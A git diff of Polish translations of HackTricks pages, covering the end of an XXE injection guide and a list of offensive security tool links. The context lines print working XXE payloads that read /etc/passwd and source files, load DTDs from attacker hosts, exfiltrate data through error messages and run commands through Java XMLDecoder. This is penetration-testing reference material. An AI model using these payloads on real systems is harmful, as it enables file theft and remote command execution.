Inny przykład można znaleźć [tutaj](https://medium.com/hmif-itb/googlectf-2019-web-bnv-writeup-nicholas-rianto-putra-medium-b8e2d86d78b2).
|
||||||
|
|
||||||
## Bypassowanie WAF i zabezpieczeń
|
## Bypassowanie WAF i zabezpieczeń
|
||||||
|
|
||||||
|
@ -412,7 +416,7 @@ To działa tylko wtedy, gdy serwer XML akceptuje protokół `data://`.
|
||||||
|
|
||||||
### UTF-7
|
### UTF-7
|
||||||
|
|
||||||
Możesz użyć \[**"Przepisu kodowania**" cyberchef tutaj ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformować na UTF-7.
|
Możesz użyć \[**"Przepisu kodowania**" cyberchefa tutaj ]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) transformować na UTF-7.
|
||||||
```xml
|
```xml
|
||||||
<!xml version="1.0" encoding="UTF-7"?-->
|
<!xml version="1.0" encoding="UTF-7"?-->
|
||||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||||
|
@ -424,9 +428,9 @@ Możesz użyć \[**"Przepisu kodowania**" cyberchef tutaj ]\([https://gchq.githu
|
||||||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||||
```
|
```
|
||||||
### Protokół File: / Bypass
|
### Plik:/ Bypass protokołu
|
||||||
|
|
||||||
Jeśli strona internetowa używa PHP, zamiast używać `file:/`, możesz użyć **obwodów PHP** `php://filter/convert.base64-encode/resource=`, aby **uzyskać dostęp do plików wewnętrznych**.
|
Jeśli strona internetowa używa PHP, zamiast używać `file:/`, możesz użyć **opakowań PHP** `php://filter/convert.base64-encode/resource=` do **dostępu do wewnętrznych plików**.
|
||||||
|
|
||||||
Jeśli strona internetowa używa Javy, możesz sprawdzić [**protokół jar**](xxe-xee-xml-external-entity.md#jar-protocol).
|
Jeśli strona internetowa używa Javy, możesz sprawdzić [**protokół jar**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||||
|
|
||||||
|
@ -434,7 +438,7 @@ Jeśli strona internetowa używa Javy, możesz sprawdzić [**protokół jar**](x
|
||||||
|
|
||||||
Sztuczka z [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
Sztuczka z [**https://github.com/Ambrotd/XXE-Notes**](https://github.com/Ambrotd/XXE-Notes)\
|
||||||
Możesz stworzyć **encję wewnątrz innej encji**, kodując ją za pomocą **encji HTML**, a następnie wywołać ją, aby **załadować dtd**.\
|
Możesz stworzyć **encję wewnątrz innej encji**, kodując ją za pomocą **encji HTML**, a następnie wywołać ją, aby **załadować dtd**.\
|
||||||
Zauważ, że używane **encje HTML** muszą być **numeryczne** (jak w tym przykładzie [tutaj](https://gchq.github.io/CyberChef/#recipe=To_HTML_Entity%28true,'Numeric%20entities'%29&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)).
|
Zauważ, że używane **encje HTML** muszą być **numeryczne** (jak w tym przykładzie [\[w tym przykładzie\]\([https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,'Numeric entities'%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B)\\](https://gchq.github.io/CyberChef/#recipe=To\_HTML\_Entity%28true,%27Numeric%20entities%27%29\&input=PCFFTlRJVFkgJSBkdGQgU1lTVEVNICJodHRwOi8vMTcyLjE3LjAuMTo3ODc4L2J5cGFzczIuZHRkIiA%2B\)%5C)).
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % a "<!ENTITY%dtdSYSTEM"http://ourserver.com/bypass.dtd">" >%a;%dtd;]>
|
||||||
<data>
|
<data>
|
||||||
|
@ -452,7 +456,7 @@ Przykład DTD:
|
||||||
|
|
||||||
### Base64
|
### Base64
|
||||||
|
|
||||||
**Wyciągnij** _**index.php**_
|
**Wydobyć** _**index.php**_
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
|
||||||
```
|
```
|
||||||
|
@ -473,10 +477,6 @@ Przykład DTD:
|
||||||
</creds>
|
</creds>
|
||||||
```
|
```
|
||||||
## **SOAP - XEE**
|
## **SOAP - XEE**
|
||||||
|
|
||||||
### XML External Entity (XEE) Attack
|
|
||||||
|
|
||||||
Atak XML External Entity (XEE) polega na wykorzystaniu funkcji przetwarzania zewnętrznych encji XML do wykonania ataku. Atakujący może wstrzyknąć złośliwe treści XML, które mogą prowadzić do odczytu poufnych danych, wykonania zdalnych żądań HTTP lub innych działań związanych z przetwarzaniem danych XML. Aby zabezpieczyć aplikację przed atakiem XEE, należy odpowiednio skonfigurować parser XML, wyłączając obsługę zewnętrznych encji lub korzystając z bezpiecznych metod przetwarzania danych XML.
|
|
||||||
```xml
|
```xml
|
||||||
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
<soap:Body><foo><![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]></foo></soap:Body>
|
||||||
```
|
```
|
||||||
|
@ -488,7 +488,7 @@ XLIFF (XML Localization Interchange File Format) jest wykorzystywany do standary
|
||||||
|
|
||||||
### Analiza żądania bez odpowiedzi
|
### Analiza żądania bez odpowiedzi
|
||||||
|
|
||||||
Wysłano żądanie do serwera z następującą zawartością:
|
Wysłane jest żądanie do serwera z następującą zawartością:
|
||||||
```xml
|
```xml
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3
|
||||||
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
Content-Disposition: form-data; name="file"; filename="xxe.xliff"
|
||||||
|
@ -500,7 +500,7 @@ Content-Type: application/x-xliff+xml
|
||||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||||
```
|
```
|
||||||
Jednakże to żądanie powoduje wewnętrzny błąd serwera, wskazujący konkretnie problem z deklaracjami znaczników:
|
Jednakże to żądanie powoduje wewnętrzny błąd serwera, wskazując konkretnie problem z deklaracjami znaczników:
|
||||||
```json
|
```json
|
||||||
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
{"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."}
|
||||||
```
|
```
|
||||||
|
@ -518,16 +518,16 @@ Content-Type: application/x-xliff+xml
|
||||||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||||
```
|
```
|
||||||
To podejście ujawnia, że Agent użytkownika wskazuje na użycie Javy 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.
|
To podejście ujawnia, że User Agent wskazuje na użycie Javy 1.8. Zauważoną ograniczeniem tej wersji Javy jest niemożność pobrania plików zawierających znak nowej linii, takich jak /etc/passwd, za pomocą techniki Out of Band.
|
||||||
|
|
||||||
Eksfiltracja danych oparta na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest zbudowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
|
Wyciek danych oparty na błędach Aby przezwyciężyć to ograniczenie, stosuje się podejście oparte na błędach. Plik DTD jest strukturyzowany w następujący sposób, aby wywołać błąd, który zawiera dane z docelowego pliku:
|
||||||
```xml
|
```xml
|
||||||
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
<!ENTITY % data SYSTEM "file:///etc/passwd">
|
||||||
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
<!ENTITY % foo "<!ENTITY % xxe SYSTEM 'file:///nofile/'>">
|
||||||
%foo;
|
%foo;
|
||||||
%xxe;
|
%xxe;
|
||||||
```
|
```
|
||||||
Serwer odpowiada błędem, istotnie odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:
|
Serwer odpowiada błędem, co jest istotne, odzwierciedlając nieistniejący plik, wskazując, że serwer próbuje uzyskać dostęp do określonego pliku:
|
||||||
```javascript
|
```javascript
|
||||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||||
```
|
```
|
||||||
|
@ -538,7 +538,7 @@ Aby uwzględnić zawartość pliku w komunikacie o błędzie, plik DTD jest dost
|
||||||
%foo;
|
%foo;
|
||||||
%xxe;
|
%xxe;
|
||||||
```
|
```
|
||||||
Ta modyfikacja prowadzi do udanego wycieku zawartości pliku, co jest odzwierciedlone w komunikacie błędu wysłanym za pośrednictwem protokołu HTTP. Oznacza to udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.
|
Ta modyfikacja prowadzi do udanego wycieku zawartości pliku, co jest odzwierciedlone w komunikacie o błędzie wysłanym za pomocą protokołu HTTP. Oznacza to udany atak XXE (XML External Entity), wykorzystujący techniki Out of Band i Error-Based do wydobycia poufnych informacji.
|
||||||
|
|
||||||
## RSS - XEE
|
## RSS - XEE
|
||||||
|
|
||||||
|
@ -590,7 +590,7 @@ Proste żądanie HTTP do serwera atakującego
|
||||||
```
|
```
|
||||||
### Odczytaj kod źródłowy
|
### Odczytaj kod źródłowy
|
||||||
|
|
||||||
Za pomocą filtra PHP base64
|
Z wykorzystaniem filtra PHP base64
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||||
|
@ -645,8 +645,6 @@ XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Je
|
||||||
</object>
|
</object>
|
||||||
</java>
|
</java>
|
||||||
```
|
```
|
||||||
### ProcessBuilder
|
|
||||||
|
|
||||||
### ProcessBuilder
|
### ProcessBuilder
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
|
@ -685,7 +683,7 @@ XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Je
|
||||||
|
|
||||||
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
* [https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf](https://media.blackhat.com/eu-13/briefings/Osipov/bh-eu-13-XML-data-osipov-slides.pdf)\\
|
||||||
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
* [https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html](https://web-in-security.blogspot.com/2016/03/xxe-cheat-sheet.html)\\
|
||||||
* Wyciąganie informacji za pomocą HTTP przy użyciu własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
* Wydobycie informacji za pomocą własnego zewnętrznego DTD: [https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/](https://ysx.me.uk/from-rss-to-xxe-feed-parsing-on-hootsuite/)\\
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20injection)\\
|
||||||
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
* [https://gist.github.com/staaldraad/01415b990939494879b4](https://gist.github.com/staaldraad/01415b990939494879b4)\\
|
||||||
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
* [https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9](https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9)\\
|
||||||
|
@ -693,7 +691,7 @@ XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Je
|
||||||
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
* [https://gosecure.github.io/xxe-workshop/#7](https://gosecure.github.io/xxe-workshop/#7)
|
||||||
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
<details>
|
<details>
|
||||||
|
@ -703,7 +701,7 @@ XMLDecoder to klasa Javy, która tworzy obiekty na podstawie wiadomości XML. Je
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
|
@ -1,18 +1,18 @@
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną na HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -53,7 +53,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
|
* [https://github.com/hahwul/XSpear](https://github.com/hahwul/XSpear)
|
||||||
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
|
* [https://github.com/BitTheByte/Monitorizer/](https://github.com/BitTheByte/Monitorizer/)
|
||||||
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
|
* [https://github.com/spinkham/skipfish](https://github.com/spinkham/skipfish)
|
||||||
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Asynchroniczne łamanie nazw domenowych
|
* [https://github.com/blark/aiodnsbrute](https://github.com/blark/aiodnsbrute) : Brute force nazw domen asynchronicznie
|
||||||
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Bruteforce subdomen
|
* [https://crt.sh/?q=%.yahoo.com](https://crt.sh/?q=%.yahoo.com) : Bruteforce subdomen
|
||||||
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Sprawdź dostępność serwerów WWW w domenie
|
* [https://github.com/tomnomnom/httprobe](https://github.com/tomnomnom/httprobe): Sprawdź dostępność serwerów WWW w domenie
|
||||||
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Odkrywanie subdomen
|
* [https://github.com/aboul3la/Sublist3r](https://github.com/aboul3la/Sublist3r) : Odkrywanie subdomen
|
||||||
|
@ -66,7 +66,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
|
* [https://github.com/izo30/google-dorker](https://github.com/izo30/google-dorker) : Google dorks
|
||||||
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Lista kontrolna BugBounty dla stron internetowych
|
* [https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md](https://github.com/sehno/Bug-bounty/blob/master/bugbounty\_checklist.md) : Lista kontrolna BugBounty dla stron internetowych
|
||||||
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Sprawdź listę domen pod kątem przekierowań
|
* [https://github.com/Naategh/dom-red](https://github.com/Naategh/dom-red) : Sprawdź listę domen pod kątem przekierowań
|
||||||
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Wtyczka Burp, analiza offline w celu odkrycia domen, subdomen i adresów IP
|
* [https://github.com/prodigysml/Dr.-Watson](https://github.com/prodigysml/Dr.-Watson) : Wtyczka Burp, analiza offline w celu odkrycia domen, subdomen i IP
|
||||||
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Lista różnych narzędzi
|
* [https://github.com/hahwul/WebHackersWeapons](https://github.com/hahwul/WebHackersWeapons): Lista różnych narzędzi
|
||||||
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Wtyczka BurpSuite do znajdowania podatności (SQLi, XSS, SSTI)
|
* [https://github.com/gauravnarwani97/Trishul](https://github.com/gauravnarwani97/Trishul) : Wtyczka BurpSuite do znajdowania podatności (SQLi, XSS, SSTI)
|
||||||
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Rozszerzenie Chrome do śledzenia funkcji post-messages
|
* [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker) : Rozszerzenie Chrome do śledzenia funkcji post-messages
|
||||||
|
@ -81,33 +81,33 @@ Inne sposoby wsparcia HackTricks:
|
||||||
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Skrypty Red Team
|
* [https://github.com/BankSecurity/Red\_Team](https://github.com/BankSecurity/Red\_Team) : Skrypty Red Team
|
||||||
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : znajdź związane z bezpieczeństwem błędy konfiguracji w zasadach grupy Active Directory.
|
* [https://github.com/l0ss/Grouper2](https://github.com/l0ss/Grouper2) : znajdź związane z bezpieczeństwem błędy konfiguracji w zasadach grupy Active Directory.
|
||||||
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Obfuskacja Securestring
|
* [https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring](https://www.wietzebeukema.nl/blog/powershell-obfuscation-using-securestring) : Obfuskacja Securestring
|
||||||
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Podszycie się pod PID rodzica
|
* [https://pentestlab.blog/2020/02/24/parent-pid-spoofing/](https://pentestlab.blog/2020/02/24/parent-pid-spoofing/) : Podszycie PID rodzica
|
||||||
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Szyfrowanie ładunków Powershell
|
* [https://github.com/the-xentropy/xencrypt](https://github.com/the-xentropy/xencrypt) : Szyfruj ładunki Powershell
|
||||||
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2
|
* [https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/](https://shells.systems/introducing-ninja-c2-the-c2-built-for-stealth-red-team-operations/) : Stealth C2
|
||||||
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Seria logów dotyczących Windows Internals
|
* [https://windows-internals.com/faxing-your-way-to-system/](https://windows-internals.com/faxing-your-way-to-system/) : Seria logów dotyczących wewnętrzności systemu Windows
|
||||||
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Śledzenie kto otworzył dokument
|
* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : Śledź kto otworzył dokument
|
||||||
